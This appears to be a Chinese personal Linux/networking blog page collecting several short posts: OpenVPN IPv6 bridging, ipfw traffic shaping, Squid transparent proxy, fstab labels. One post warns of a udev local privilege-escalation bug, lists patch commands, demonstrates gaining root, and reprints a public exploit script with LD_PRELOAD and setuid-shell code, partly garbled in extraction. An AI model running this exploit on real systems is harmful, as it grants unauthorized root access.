鉴于近段时间我的个人时间越来越混乱。以后工作的重心也在不停的调整中……,所以特调整个人生活学习时间。
1.个人博客(http://blog.ghitr.com)还是照常写。
2.个人网站(http://www.ghitr.com)准备跳转到我的个人博客。
3.女性生活网(http://www.5hml.com) 准备放缓更新进度。这个不在做为个人学习工作的重点。
4.下一代互联网(Http://www.usengi.com)这个网站暂停更新或者跳转到个人博客。 准备压缩这个网站的方向。目前仅作为个人在工作、学习中有关IPV6的相关资料的更新。 如果有哪位朋友愿意更新、维护IPV6、拓展IPV6应用、加固IPV6在中国的应用等相关意愿可以与我一起学习IPV6.
个人学习调整:
个人学习方向调整至系统方面,不再注重网络的简单应用。
系统方面:主要以Linux为主。windows仅限于客户端。将不再重点学习Microsoft Windows Server的应用。
简单的综述就是 更多的关注 Linux 系统和网络应用、 关注IPv6的普及。
[root@localhost src]# gzip -dc openvpn-2.1.1-ipv6-0.4.10.patch.gz | patch –p1
ifconfig eth0 add 2005::4/64
route –A inet6 add default gw 2005::1
加入 /etc/rc.d/rc.local
cp /etc/sysconfig/network-script/ifcfg-eth0 /etc/sysconfig/network-script/ifcfg-eth0:1
Change device eth0 ==>eth0:1
OpenVPN 2.1.1 use bridge (TAP Driver)
dev tap0 (根据实际情况调整。)
Server-bridge 192.168.8.4 255.255.255.0 192.168.8.20 192.168.8.250
————————————— —————— ——————–
| | |
服务端的IP地址和掩码 客户端分配的开始范围
如果启用了防火墙(Iptables)
[root@localhost sample-scripts]# cat bridge-start
#!/bin/bash
#################################
# Set up Ethernet bridge on Linux
# Requires: bridge-utils
#################################
# Define Bridge Interface
br="br0"
# Define list of TAP interfaces to be bridged,
# for example tap="tap0 tap1 tap2".
tap="tap0"
# Define physical ethernet interface to be bridged
# with TAP interface(s) above.
eth="eth1"
eth_ip="192.168.8.4"
eth_netmask="255.255.255.0"
eth_broadcast="192.168.8.255"
eth_ipv6="2005::1/64"
for t in $tap; do
openvpn –mktun –dev $t
done
/usr/sbin/brctl addbr $br
/usr/sbin/brctl addif $br $eth
for t in $tap; do
brctl addif $br $t
done
for t in $tap; do
ifconfig $t 0.0.0.0 promisc up
done
ifconfig $eth 0.0.0.0 promisc up
ifconfig $br $eth_ip netmask $eth_netmask broadcast $eth_broadcast
ifconfig $br add $eth_ipv6
1.生成ssh 证书(ssh-keygen) ssh-keygen -t rsa
2.然后将私钥和公钥传输到你的电脑。
3.使用SecureCRT用证书登录SSH,奇怪SecureCRT用的是公钥做登录验证。
[ad#ad_article_2]
Read entire article.
Linux的udev程序再爆本地提权漏洞,本地用户可以轻易获得root权限,请立即更新udev程序。(2.4内核系统不受影响)
修复方法(修复前请备份重要数据):
debian用户请执行apt-get update ; apt-get upgrade -y
centos用户请执行yum update udev
RedHat用户请使用官方rpm包更新或者购买RedHat的satellite服务。
攻击效果展示:
1. 在LINUX目录下建立test 帐户
2.下载 a脚本 在
http://milw0rm.com/exploits/8478
3.查看UDEV的PID 方法一: 先cat /proc/net/netlink
ffff810077587400 15 364 ffffffff 0 0 0000000000000000 2
ffff810037f81000 16 0 00000000 0 0 0000000000000000 2
ffff810077078400 18 0 00000000 0 0 0000000000000000 2
那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2
方法二:
另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本
然后在test 用户的当前目录里
按以下步骤运行
[haha@localhost ~]$ id
uid=501(haha) gid=502(haha) groups=502(haha)
[haha@localhost ~]$sh a 364
(据笔者测试,这里的364可以由任意字符替代,亦可成功。)
suid.c: In function ‘main’:
suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’
sh-3.1# id
uid=0(root) gid=0(root) groups=502(haha)
此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下
sh-3.1# bash
[root@localhost ~]#
看!test -> ROOT 用户大变身!!
现在确认的是此攻击方式对Debian和Ubuntu相当有效,对RedHat的攻击效果有待确认。
最新战况请查阅
http://baoz.net/linux-udev-exploit/
提权脚本:
http://milw0rm.com/exploits/8478
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text ![]()
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF #ifndef NETLINK_KOBJECT_UEVENT #define SHORT_STRING 64 int socket_fd; main(int argc, char **argv) { sprintf(event, "add"); memset(&address, 0, sizeof(address)); msg.msg_name = (void*)&address; socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); char message[LONG_STRING]; mp = message; iovector.iov_base = (void*)message; char *buf; sendmsg(socket_fd, &msg, 0); close(socket_fd); sleep(10); _EOF void _init() _EOF # milw0rm.com [2009-04-20]
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char *mp;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_len = (int)(mp-message);
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
execl("/tmp/suid", "suid", (void*)0);
}
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include
#include
#include
#include
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
1.编释内核启用IPFIREWALL和IPFIVERT
编释内核启用DUMMYNET
2.cd /usr/src
make buildkernel KERNCONF=ConfigName
make installkernel KERNCONF=ConfigName
3.添加相应规则(此处添加的只为简单规则,末做安全设置)
ipfw -q add 00001 allow ip from 127.0.0.1 to 127.0.0.1 via lo0
ipfw -q add 00002 deny ip from 127.0.0.0/8 to any
ipfw -q add 00003 deny ip from any to 127.0.0.0/8
ipfw -q add 00004 deny ip from 1.1.1.0/24 to any in via rl0
ipfw -q add 20000 divert 8668 ip from any to any via rl0 (rl0为外网口,在rl0口上启用natd服务)
#创建相应相应通道。
ipfw -q add 30000 pipe 1 icmp from any to any
ipfw -q add 30101 pipe 4 tcp from any to any out
ipfw -q add 65535 allow ip from any to any
ipfw -q pipe 4 config mask dst-ip 0xffffffff bw 100KB/s queue 100Kbytes (匹配通道4里面的 每个目的地IP的带宽 《这儿的上的地IP。因为NAT过后,所以目的IP为内网的IP。》)
以下为ipfw pipe show (运行状态下面的通道显示)
00001: 1.000 Kbit/s 0 ms 10 sl. 1 queues (1 buckets) droptail
mask: 0×00 0×00000000/0×0000 -> 0×00000000/0×0000
BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp
0 icmp 1.1.1.3/0 221.5.203.98/0 16983 12286764 0 0 0
00002: 320.000 Kbit/s 0 ms 20 sl. 1 queues (1 buckets) droptail
mask: 0×00 0×00000000/0×0000 -> 0×00000000/0×0000
BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp
0 tcp 1.1.1.3/1035 207.46.193.254/80 386482 352842969 0 0 394
00003: 160.000 Kbit/s 0 ms 30 sl. 1 queues (1 buckets) droptail
mask: 0×00 0×00000000/0×0000 -> 0×00000000/0×0000
BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp
0 tcp 192.168.1.15/1236 192.168.1.4/81 42383 40705903 0 0 0
00004: 800.000 Kbit/s 0 ms 100 KB 6 queues (64 buckets) droptail
mask: 0×00 0×00000000/0×0000 -> 0xffffffff/0×0000
BKT Prot ___Source IP/port____ ____Dest. IP/port____ Tot_pkt/bytes Pkt/Byte Drp
0 ip 0.0.0.0/0 1.1.1.2/0 45 5000 0 0 0
1 ip 0.0.0.0/0 1.1.1.3/0 6924 7229904 17 23793 0
5 ip 0.0.0.0/0 1.1.1.7/0 6978 9792770 14 19293 0
20 ip 0.0.0.0/0 192.168.1.4/0 9706 5759085 0 0 0
32 ip 192.168.1.4/0 0.0.0.0/0 4905 255108 0 0 0
54 ip 192.168.1.15/0 0.0.0.0/0 9804 14703104 0 0 0
运行结果:
Client1:
密户机2:
主题:
1. 概述
2. 框架图
3. 语法
4. 实例分析
5. 网管策略
6. FAQ
7. 实战
[ad#ad_article_2]
Read entire article.
squid 有一个最重要的设置 http_port 8080 transparent 透明代理的关键就是transparent!!!
然后在Iptables里面打开对8080的访问,再在NAT表中,重定向80端口的请求到8080
Linux:CentOS
Linux bogon 2.6.18-128.1.14.el5 #1 SMP Wed Jun 17 06:40:54 EDT 2009 i686 i686 i386 GNU/Linux
Iptables:iptables v1.3.5
Squid:
Squid Cache: Version 2.6.STABLE21
configure options: ‘–build=i686-redhat-linux-gnu’ ‘–host=i686-redhat-linux-gnu’ ‘–target=i386-redhat-linux-gnu’ ‘–program-prefix=’ ‘–prefix=/usr’ ‘–exec-prefix=/usr’ ‘–bindir=/usr/bin’ ‘–sbindir=/usr/sbin’ ‘–sysconfdir=/etc’ ‘–includedir=/usr/include’ ‘–libdir=/usr/lib’ ‘–libexecdir=/usr/libexec’ ‘–sharedstatedir=/usr/com’ ‘–mandir=/usr/share/man’ ‘–infodir=/usr/share/info’ ‘–exec_prefix=/usr’ ‘–bindir=/usr/sbin’ ‘–libexecdir=/usr/lib/squid’ ‘–localstatedir=/var’ ‘–datadir=/usr/share’ ‘–sysconfdir=/etc/squid’ ‘–enable-epoll’ ‘–enable-snmp’ ‘–enable-removal-policies=heap,lru’ ‘–enable-storeio=aufs,coss,diskd,null,ufs’ ‘–enable-ssl’ ‘–with-openssl=/usr/kerberos’ ‘–enable-delay-pools’ ‘–enable-linux-netfilter’ ‘–with-pthreads’ ‘–enable-ntlm-auth-helpers=SMB,fakeauth’ ‘–enable-external-acl-helpers=ip_user,ldap_group,unix_group,wbinfo_group’ ‘–enable-auth=basic,digest,ntlm’ ‘–enable-digest-auth-helpers=password’ ‘–with-winbind-auth-challenge’ ‘–enable-useragent-log’ ‘–enable-referer-log’ ‘–disable-dependency-tracking’ ‘–enable-cachemgr-hostname=localhost’ ‘–enable-underscores’ ‘–enable-basic-auth-helpers=LDAP,MSNT,NCSA,PAM,SMB,YP,getpwnam,multi-domain-NTLM,SASL’ ‘–enable-cache-digests’ ‘–enable-ident-lookups’ ‘–with-large-files’ ‘–enable-follow-x-forwarded-for’ ‘–enable-wccpv2′ ‘–enable-fd-config’ ‘–with-maxfd=16384′ ‘build_alias=i686-redhat-linux-gnu’ ‘host_alias=i686-redhat-linux-gnu’ ‘target_alias=i386-redhat-linux-gnu’ ‘CFLAGS=-D_FORTIFY_SOURCE=2 -fPIE -Os -g -pipe -fsigned-char’ ‘LDFLAGS=-pie’
今天把硬盘没用的空间fdisk出来了,想手动加入fstab里面好让系统每次自动加载。可mount /dev/hda4 /file能够成功。但是 mount /file却提示 丫的没 找不到lable!
于是百度,忙活了半天也没有找到为什么。
后来搜索linux fstab时。偶然看到一个命令e2lable。丫的 原来是我的/dev/hda4 没标签。。。。。
于是操作之。。。。。
#/etc/fstab
#设备名 挂载点 类型 mount参数 dump参数 fsck顺序
/dev/sda9 swap swap defaults 0 0
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
第一列, 设备名
问题来了, LABEL=/ , 靠, 这是什么设备啊 ,
e2label /dev/sda8, 显示/ , 知道了, 原来/dev/sda8就是/啊, 真费尽.
第二列, mount点
第三列, 文件系统类型
第四列, mount时的参数
defaults == rw, suid, dev, exec, auto, nouser, and async.
第五列, dump的参数, 0为不检查
dump会检查这个参数, 来决定这个文件系统是否要备份.
第六列, fsck的顺序参数, 0为不检查
统启动的时候,会根据这个参数的顺序来逐个检查文件系统.
Over, 记住e2label可以更改一个设备的label名, 如果我把/home分区重做了, 记住用e2label给它贴个标签, 否则fstab无法认出新分区.
利用Dchpd+NAT+Squid+PPPOE实现内网完全
1.DHCP配置
2.SQUID配置 (http://blog.ghitr.com/index.php/archives/325)
3.NAT配置(暂无,明天加上)
4.PPPOE配置(暂无,明天加上)
因本机无DHCPD,所以需要安装
http://rpmfind.net/linux/rpm2html/search.php?query=dhcpd
的这上面找到
[ad#ad_article_2]
Read entire article.